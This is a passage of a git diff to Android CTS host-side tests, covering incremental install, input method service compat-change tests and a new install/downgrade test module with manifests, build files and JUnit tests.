+        <activity android:name=".MainActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
diff --git a/hostsidetests/incrementalinstall/app/AndroidManifestV2.xml b/hostsidetests/incrementalinstall/app/AndroidManifestV2.xml
index 27cfbb9..e027fdd 100644
--- a/hostsidetests/incrementalinstall/app/AndroidManifestV2.xml
+++ b/hostsidetests/incrementalinstall/app/AndroidManifestV2.xml
@@ -16,12 +16,13 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.incrementalinstall.incrementaltestapp"
-          android:versionCode="2"
-          android:versionName="2.0">
+     package="android.incrementalinstall.incrementaltestapp"
+     android:versionCode="2"
+     android:versionName="2.0">
 
     <application android:label="IncrementalTestApp">
-        <activity android:name=".MainActivity">
+        <activity android:name=".MainActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
diff --git a/hostsidetests/incrementalinstall/app/nativelibuncompressed/Android.bp b/hostsidetests/incrementalinstall/app/nativelibuncompressed/Android.bp
index 0849c0e..548bfa8 100644
--- a/hostsidetests/incrementalinstall/app/nativelibuncompressed/Android.bp
+++ b/hostsidetests/incrementalinstall/app/nativelibuncompressed/Android.bp
@@ -35,11 +35,11 @@
     v4_signature: true,
     compile_multilib: "both",
     export_package_resources: true,
-        aapt_include_all_resources: true,
-        libs: ["IncrementalTestApp"],
-        aaptflags: [
-            "--rename-manifest-package android.incrementalinstall.incrementaltestapp",
-            "--package-id 0x83",
-        ],
+    aapt_include_all_resources: true,
+    libs: ["IncrementalTestAppUncompressed"],
+    aaptflags: [
+        "--rename-manifest-package android.incrementalinstall.incrementaltestapp",
+        "--package-id 0x83",
+    ],
     use_embedded_native_libs: true,
 }
diff --git a/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalFeatureTest.java b/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalFeatureTest.java
index 6f3e292..a837059 100644
--- a/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalFeatureTest.java
+++ b/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalFeatureTest.java
@@ -38,8 +38,6 @@
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class IncrementalFeatureTest extends BaseHostJUnit4Test {
-    private static final String FEATURE_INCREMENTAL_DELIVERY =
-            "android.software.incremental_delivery";
     private static final String TEST_REMOTE_DIR = "/data/local/tmp/incremental_feature_test";
     private static final String TEST_APP_PACKAGE_NAME =
             "android.incrementalinstall.incrementaltestapp";
@@ -57,7 +55,8 @@
     @CddTest(requirement="4/C-1-1")
     @Test
     public void testFeatureAvailable() throws Exception {
-        assertTrue(getDevice().hasFeature(FEATURE_INCREMENTAL_DELIVERY));
+        assertTrue("true\n".equals(getDevice().executeShellCommand(
+                "pm has-feature android.software.incremental_delivery")));
     }
 
     @CddTest(requirement="4/C-1-1,C-3-1")
diff --git a/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java b/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java
index 6e7adc6..c43b583 100644
--- a/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java
+++ b/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java
@@ -84,6 +84,8 @@
     private static final String TEST_APP_DYNAMIC_CODE_NAME = "IncrementalTestAppDynamicCode.apk";
     private static final String TEST_APP_COMPRESSED_NATIVE_NAME =
             "IncrementalTestAppCompressedNativeLib.apk";
+    private static final String TEST_APP_UNCOMPRESSED_BASE_NAME =
+            "IncrementalTestAppUncompressed.apk";
     private static final String TEST_APP_UNCOMPRESSED_NATIVE_NAME =
             "IncrementalTestAppUncompressedNativeLib.apk";
 
@@ -205,7 +207,7 @@
         assertTrue(checkNativeLibInApkCompression(TEST_APP_COMPRESSED_NATIVE_NAME,
                 "libuncompressednativeincrementaltest.so", false));
         verifyInstallCommandSuccess(
-                installWithAdbInstaller(TEST_APP_BASE_APK_NAME, TEST_APP_UNCOMPRESSED_NATIVE_NAME));
+                installWithAdbInstaller(TEST_APP_UNCOMPRESSED_BASE_NAME, TEST_APP_UNCOMPRESSED_NATIVE_NAME));
         verifyPackageInstalled(TEST_APP_PACKAGE_NAME);
         verifyInstallationTypeAndVersion(TEST_APP_PACKAGE_NAME, /* isIncfs= */ true,
                 TEST_APP_V1_VERSION);
@@ -406,7 +408,8 @@
     }
 
     private boolean hasIncrementalFeature() throws Exception {
-        return hasDeviceFeature(FEATURE_INCREMENTAL_DELIVERY);
+        return "true\n".equals(getDevice().executeShellCommand(
+                "pm has-feature android.software.incremental_delivery"));
     }
 
     private boolean adbBinarySupportsIncremental() throws Exception {
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
index 68b4a10..5ed387e 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
@@ -128,7 +128,7 @@
 
     /**
      * Command to get the last user ID that is specified to
-     * InputMethodManagerService.Lifecycle#onSwitchUser().
+     * InputMethodManagerService.Lifecycle#onUserSwitching().
      *
      * @return the command to be passed to shell command.
      */
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/AndroidManifest.xml b/hostsidetests/inputmethodservice/deviceside/devicetest/AndroidManifest.xml
index 5314c9c..58b9e70 100755
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/AndroidManifest.xml
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/AndroidManifest.xml
@@ -16,34 +16,35 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.inputmethodservice.cts.devicetest" android:targetSandboxVersion="2">
+     package="android.inputmethodservice.cts.devicetest"
+     android:targetSandboxVersion="2">
 
     <!--
-      TODO: We may need to have another new APK that has the latest targetSdkVersion to check the
-      latest OS behaviors.
-    -->
-    <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28" />
+              TODO: We may need to have another new APK that has the latest targetSdkVersion to check the
+              latest OS behaviors.
+            -->
+    <uses-sdk android:minSdkVersion="28"
+         android:targetSdkVersion="28"/>
 
-    <application
-        android:label="CtsInputMethodServiceDeviceTests"
-        android:icon="@mipmap/ic_launcher"
-        android:allowBackup="false">
+    <application android:label="CtsInputMethodServiceDeviceTests"
+         android:icon="@mipmap/ic_launcher"
+         android:allowBackup="false"
+         android:debuggable="true">
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity
-            android:name=".TestActivity"
-            android:label="TestActivity">
+        <activity android:name=".TestActivity"
+             android:label="TestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.inputmethodservice.cts.devicetest" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.inputmethodservice.cts.devicetest"/>
 
 </manifest>
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InlineSuggestionsRequestDeviceTest.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InlineSuggestionsRequestDeviceTest.java
new file mode 100644
index 0000000..1042367
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InlineSuggestionsRequestDeviceTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.inputmethodservice.cts.devicetest;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.compat.CompatChanges;
+import android.os.LocaleList;
+import android.util.Size;
+import android.view.inputmethod.InlineSuggestionsRequest;
+import android.widget.inline.InlinePresentationSpec;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+
+/**
+ * Device side tests for the {@link android.app.compat.CompatChanges} API changes in
+ * {@link android.view.inputmethod.InlineSuggestionsRequest}.
+ *
+ * <p>See also {@link android.inputmethodservice.cts.hostside.InlineSuggestionsRequestHostTest}.
+ */
+@RunWith(AndroidJUnit4.class)
+public final class InlineSuggestionsRequestDeviceTest {
+
+    /**
+     * This test case only concerns the {@link InlineSuggestionsRequest#getSupportedLocales()}
+     * API's behavior change from change id 169273070L. The other tests for the class are in
+     * the regular CTS tests.
+     */
+    @Test
+    public void imeAutofillDefaultSupportedLocalesIsEmpty_changeEnabled() {
+        assertTrue(CompatChanges.isChangeEnabled(169273070L));
+        InlineSuggestionsRequest request = createInlineSuggestionsRequestWithoutLocale();
+        assertEquals(LocaleList.getEmptyLocaleList(), request.getSupportedLocales());
+    }
+
+    @Test
+    public void imeAutofillDefaultSupportedLocalesIsEmpty_changeDisabled() {
+        assertFalse(CompatChanges.isChangeEnabled(169273070L));
+        InlineSuggestionsRequest request = createInlineSuggestionsRequestWithoutLocale();
+        assertEquals(LocaleList.getDefault(), request.getSupportedLocales());
+    }
+
+    private InlineSuggestionsRequest createInlineSuggestionsRequestWithoutLocale() {
+        return new InlineSuggestionsRequest.Builder(new ArrayList<>())
+                .addInlinePresentationSpecs(
+                        new InlinePresentationSpec.Builder(new Size(100, 100),
+                                new Size(400, 100)).build())
+                .setMaxSuggestionCount(3).build();
+    }
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
index 2d95ca2..4833884 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
@@ -16,8 +16,6 @@
 
 package android.inputmethodservice.cts.devicetest;
 
-import static android.content.Intent.ACTION_CLOSE_SYSTEM_DIALOGS;
-import static android.content.Intent.FLAG_RECEIVER_FOREGROUND;
 import static android.inputmethodservice.cts.DeviceEvent.isFrom;
 import static android.inputmethodservice.cts.DeviceEvent.isNewerThan;
 import static android.inputmethodservice.cts.DeviceEvent.isType;
@@ -39,7 +37,6 @@
 import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
-import android.content.Intent;
 import android.inputmethodservice.cts.DeviceEvent;
 import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType;
 import android.inputmethodservice.cts.common.EditTextAppConstants;
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/AndroidManifest.xml b/hostsidetests/inputmethodservice/deviceside/ime1/AndroidManifest.xml
index 70de83f..b0eaaa7 100755
--- a/hostsidetests/inputmethodservice/deviceside/ime1/AndroidManifest.xml
+++ b/hostsidetests/inputmethodservice/deviceside/ime1/AndroidManifest.xml
@@ -16,29 +16,27 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.inputmethodservice.cts.ime1">
+     package="android.inputmethodservice.cts.ime1">
 
     <!--
-      TODO: We may need to have another new APK that has the latest targetSdkVersion to check the
-      latest OS behaviors.
-    -->
-    <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="25" />
+              TODO: We may need to have another new APK that has the latest targetSdkVersion to check the
+              latest OS behaviors.
+            -->
+    <uses-sdk android:minSdkVersion="19"
+         android:targetSdkVersion="25"/>
 
-    <application
-        android:label="@string/ime_name"
-        android:allowBackup="false"
-        android:theme="@android:style/Theme.InputMethod"
-    >
-        <service
-            android:name=".CtsInputMethod1"
-            android:label="@string/ime_name"
-            android:permission="android.permission.BIND_INPUT_METHOD">
+    <application android:label="@string/ime_name"
+         android:allowBackup="false"
+         android:theme="@android:style/Theme.InputMethod">
+        <service android:name=".CtsInputMethod1"
+             android:label="@string/ime_name"
+             android:permission="android.permission.BIND_INPUT_METHOD"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.view.InputMethod" />
+                <action android:name="android.view.InputMethod"/>
             </intent-filter>
-            <meta-data
-                android:name="android.view.im"
-                android:resource="@xml/ime1" />
+            <meta-data android:name="android.view.im"
+                 android:resource="@xml/ime1"/>
         </service>
     </application>
 
diff --git a/hostsidetests/inputmethodservice/deviceside/ime2/AndroidManifest.xml b/hostsidetests/inputmethodservice/deviceside/ime2/AndroidManifest.xml
index a166ba3..0168b8d 100755
--- a/hostsidetests/inputmethodservice/deviceside/ime2/AndroidManifest.xml
+++ b/hostsidetests/inputmethodservice/deviceside/ime2/AndroidManifest.xml
@@ -16,29 +16,27 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.inputmethodservice.cts.ime2">
+     package="android.inputmethodservice.cts.ime2">
 
     <!--
-      TODO: We may need to have another new APK that has the latest targetSdkVersion to check the
-      latest OS behaviors.
-    -->
-    <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="25" />
+              TODO: We may need to have another new APK that has the latest targetSdkVersion to check the
+              latest OS behaviors.
+            -->
+    <uses-sdk android:minSdkVersion="19"
+         android:targetSdkVersion="25"/>
 
-    <application
-        android:label="@string/ime_name"
-        android:allowBackup="false"
-        android:theme="@android:style/Theme.InputMethod"
-    >
-        <service
-            android:name=".CtsInputMethod2"
-            android:label="@string/ime_name"
-            android:permission="android.permission.BIND_INPUT_METHOD">
+    <application android:label="@string/ime_name"
+         android:allowBackup="false"
+         android:theme="@android:style/Theme.InputMethod">
+        <service android:name=".CtsInputMethod2"
+             android:label="@string/ime_name"
+             android:permission="android.permission.BIND_INPUT_METHOD"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.view.InputMethod" />
+                <action android:name="android.view.InputMethod"/>
             </intent-filter>
-            <meta-data
-                android:name="android.view.im"
-                android:resource="@xml/ime2" />
+            <meta-data android:name="android.view.im"
+                 android:resource="@xml/ime2"/>
         </service>
     </application>
 
diff --git a/hostsidetests/inputmethodservice/deviceside/provider/AndroidManifest.xml b/hostsidetests/inputmethodservice/deviceside/provider/AndroidManifest.xml
index 841b7c1..a8b17e3 100755
--- a/hostsidetests/inputmethodservice/deviceside/provider/AndroidManifest.xml
+++ b/hostsidetests/inputmethodservice/deviceside/provider/AndroidManifest.xml
@@ -16,18 +16,19 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.inputmethodservice.cts.provider">
+     package="android.inputmethodservice.cts.provider">
 
-    <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="26" />
+    <uses-sdk android:minSdkVersion="26"
+         android:targetSdkVersion="26"/>
 
     <application android:label="CtsInputMethodServiceEventProvider">
-        <provider
-            android:authorities="android.inputmethodservice.cts.provider"
-            android:name="android.inputmethodservice.cts.provider.EventProvider"
-            android:exported="true" />
-        <receiver android:name="android.inputmethodservice.cts.receiver.EventReceiver">
+        <provider android:authorities="android.inputmethodservice.cts.provider"
+             android:name="android.inputmethodservice.cts.provider.EventProvider"
+             android:exported="true"/>
+        <receiver android:name="android.inputmethodservice.cts.receiver.EventReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.inputmethodservice.cts.action.IME_EVENT" />
+                <action android:name="android.inputmethodservice.cts.action.IME_EVENT"/>
             </intent-filter>
         </receiver>
     </application>
diff --git a/hostsidetests/inputmethodservice/hostside/Android.bp b/hostsidetests/inputmethodservice/hostside/Android.bp
index a3292ba..a701904 100644
--- a/hostsidetests/inputmethodservice/hostside/Android.bp
+++ b/hostsidetests/inputmethodservice/hostside/Android.bp
@@ -30,5 +30,8 @@
         "cts-tradefed",
         "tradefed",
     ],
-    static_libs: ["cts-inputmethodservice-common-host"],
+    static_libs: [
+        "cts-inputmethodservice-common-host",
+        "CompatChangeGatingTestBase",
+    ],
 }
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InlineSuggestionsRequestHostTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InlineSuggestionsRequestHostTest.java
new file mode 100644
index 0000000..619cb07
--- /dev/null
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InlineSuggestionsRequestHostTest.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.inputmethodservice.cts.hostside;
+
+import android.compat.cts.CompatChangeGatingTestCase;
+import android.inputmethodservice.cts.common.test.DeviceTestConstants;
+
+import com.google.common.collect.ImmutableSet;
+
+/**
+ * Host side tests for the {@link android.app.compat.CompatChanges} API changes in
+ * {@link android.view.inputmethod.InlineSuggestionsRequest}.
+ *
+ * <p>See also {@link android.inputmethodservice.cts.devicetest.InlineSuggestionsRequestDeviceTest}.
+ */
+public class InlineSuggestionsRequestHostTest extends CompatChangeGatingTestCase {
+
+    @Override
+    protected void setUp() throws Exception {
+        installPackage(DeviceTestConstants.APK, true);
+    }
+
+    public void testImeAutofillDefaultSupportedLocalesIsEmpty_changeEnabled() throws Exception {
+        runDeviceCompatTest(DeviceTestConstants.PACKAGE, ".InlineSuggestionsRequestDeviceTest",
+                "imeAutofillDefaultSupportedLocalesIsEmpty_changeEnabled",
+                /*enabledChanges*/ImmutableSet.of(169273070L),
+                /*disabledChanges*/ ImmutableSet.of());
+    }
+
+    public void testImeAutofillDefaultSupportedLocalesIsEmpty_changeDisabled() throws Exception {
+        runDeviceCompatTest(DeviceTestConstants.PACKAGE, ".InlineSuggestionsRequestDeviceTest",
+                "imeAutofillDefaultSupportedLocalesIsEmpty_changeDisabled",
+                /*enabledChanges*/ImmutableSet.of(),
+                /*disabledChanges*/ ImmutableSet.of(169273070L));
+    }
+}
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java
index c1b948e..6dce130 100644
--- a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java
@@ -305,7 +305,7 @@
             }
             final int lastSwitchUserId = Integer.parseInt(lines[0], 10);
             if (userId == lastSwitchUserId) {
-                // InputMethodManagerService.Lifecycle#onSwitchUser() gets called.  Ready to go.
+                // InputMethodManagerService.Lifecycle#onUserSwitching() gets called.  Ready to go.
                 return;
             }
             if (System.currentTimeMillis() > initialTime + USER_SWITCH_TIMEOUT) {
diff --git a/hostsidetests/install/Android.bp b/hostsidetests/install/Android.bp
new file mode 100644
index 0000000..f90d764
--- /dev/null
+++ b/hostsidetests/install/Android.bp
@@ -0,0 +1,58 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//     http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_host {
+    name: "CtsInstallHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs:  ["src/**/*.java"],
+    libs: [
+        "cts-tradefed",
+        "cts-shim-host-lib",
+        "tradefed",
+        "truth-prebuilt",
+        "hamcrest",
+        "hamcrest-library",
+    ],
+    data: [
+        ":InstallTest",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "InstallTest",
+    srcs:  ["app/src/**/*.java", "src/android/cts/install/*.java"],
+    manifest : "app/AndroidManifest.xml",
+    static_libs: [
+        "androidx.test.runner",
+        "androidx.test.core",
+        "truth-prebuilt",
+        "cts-install-lib",
+        "cts-rollback-lib",
+    ],
+    java_resources: [
+        ":StagedInstallTestApexV1",
+        ":StagedInstallTestApexV2",
+        ":StagedInstallTestApexV3",
+    ],
+    sdk_version: "test_current",
+    test_suites: ["device-tests"],
+}
diff --git a/hostsidetests/install/AndroidTest.xml b/hostsidetests/install/AndroidTest.xml
new file mode 100644
index 0000000..35073c7
--- /dev/null
+++ b/hostsidetests/install/AndroidTest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs the install API tests">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <!-- Instant apps can't have INSTALL_PACKAGES permission. -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <!-- TODO(b/137885984): Revisit secondary user eligibility once the issue is resolved. -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="InstallTest.apk" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="pm uninstall com.android.cts.install.lib.testapp.A" />
+        <option name="run-command" value="pm uninstall com.android.cts.install.lib.testapp.B" />
+        <option name="teardown-command" value="pm uninstall com.android.cts.install.lib.testapp.A" />
+        <option name="teardown-command" value="pm uninstall com.android.cts.install.lib.testapp.B" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.HostTest" >
+        <option name="class" value="android.cts.install.host.InstallTest" />
+        <option name="class" value="android.cts.install.host.DowngradeTest" />
+        <option name="class" value="android.cts.install.host.SamegradeTest" />
+        <option name="class" value="android.cts.install.host.UpgradeTest" />
+    </test>
+</configuration>
diff --git a/hostsidetests/install/OWNERS b/hostsidetests/install/OWNERS
new file mode 100644
index 0000000..71cfd5a
--- /dev/null
+++ b/hostsidetests/install/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 36137
+include ../Stagedinstall/OWNERS
+chenghsiuchang@google.com
\ No newline at end of file
diff --git a/hostsidetests/install/TEST_MAPPING b/hostsidetests/install/TEST_MAPPING
new file mode 100644
index 0000000..8ba921a
--- /dev/null
+++ b/hostsidetests/install/TEST_MAPPING
@@ -0,0 +1,17 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsInstallHostTestCases",
+      "options": [
+        {
+          "exclude-annotation": "android.platform.test.annotations.LargeTest"
+        }
+      ]
+    }
+  ],
+  "postsubmit": [
+    {
+      "name": "CtsInstallHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/install/app/AndroidManifest.xml b/hostsidetests/install/app/AndroidManifest.xml
new file mode 100644
index 0000000..449d24f
--- /dev/null
+++ b/hostsidetests/install/app/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.cts.install">
+    <application>
+        <uses-library android:name="android.test.runner"/>
+        <!-- This activity is necessary to register the test app as the default home activity (i.e.
+                         to receive SESSION_COMMITTED broadcasts.) -->
+        <activity android:name=".LauncherActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.HOME"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.cts.install"
+         android:label="Install Test"/>
+</manifest>
diff --git a/hostsidetests/install/app/src/android/cts/install/DowngradeTest.java b/hostsidetests/install/app/src/android/cts/install/DowngradeTest.java
new file mode 100644
index 0000000..13e6f94
--- /dev/null
+++ b/hostsidetests/install/app/src/android/cts/install/DowngradeTest.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.TestApp;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+
+@RunWith(Parameterized.class)
+public final class DowngradeTest {
+    @Parameter(0)
+    public INSTALL_TYPE mInstallType;
+
+    @Parameter(1)
+    public boolean mStaged;
+
+    @Parameter(2)
+    public boolean mEnableRollback;
+
+    @Parameters(name = "{0}_Staged{1}_Rollback{2}")
+    public static Collection<Object[]> combinations() {
+        boolean[] booleanValues = new boolean[]{true, false};
+        List<Object[]> temp = new ArrayList<>();
+        for (INSTALL_TYPE installType : INSTALL_TYPE.values()) {
+            for (boolean staged : booleanValues) {
+                for (boolean enableRollback : booleanValues) {
+                    temp.add(new Object[]{installType, staged, enableRollback});
+                }
+            }
+        }
+        return temp;
+    }
+
+    @Rule
+    public InstallRule mInstallRule = new InstallRule();
+
+    @Rule
+    public SessionRule mSessionRule = new SessionRule();
+
+    private static final int VERSION_CODE_CURRENT = 3;
+    private static final int VERSION_CODE_DOWNGRADE = 2;
+
+    /**
+     * Cleans up test environment.
+     *
+     * This is marked as @Test to take advantage of @Before/@After methods of hostside test cases.
+     * Actual purpose of this method to be called before and after each test case of
+     * {@link android.cts.install.host.DowngradeTest} to reduce tests flakiness.
+     */
+    @Test
+    public void cleanUp_phase() throws Exception {
+        mInstallRule.cleanUp();
+        mSessionRule.cleanUp();
+    }
+
+    /** Install the version {@link #VERSION_CODE_CURRENT} of the apps to be downgraded. */
+    @Test
+    public void arrange_phase() throws Exception {
+        getParameterizedInstall(VERSION_CODE_CURRENT).commit();
+    }
+
+    /** Verify the version of the arranged apps. */
+    @Test
+    public void assert_postArrange_phase() {
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_CURRENT);
+    }
+
+    /** Commits the downgrade. */
+    @Test
+    public void action_phase() throws Exception {
+        Install install = getParameterizedInstall(VERSION_CODE_DOWNGRADE);
+        int sessionId = install.setRequestDowngrade().commit();
+        mSessionRule.recordSessionId(sessionId);
+    }
+
+    /** Confirms target version of the apps installed. */
+    @Test
+    public void assert_downgradeSuccess_phase() {
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_DOWNGRADE);
+    }
+
+    /** Confirms versions before staged downgrades applied. */
+    @Test
+    public void assert_preReboot_phase() throws Exception {
+        assertThat(mSessionRule.retrieveSessionInfo().isStagedSessionReady()).isTrue();
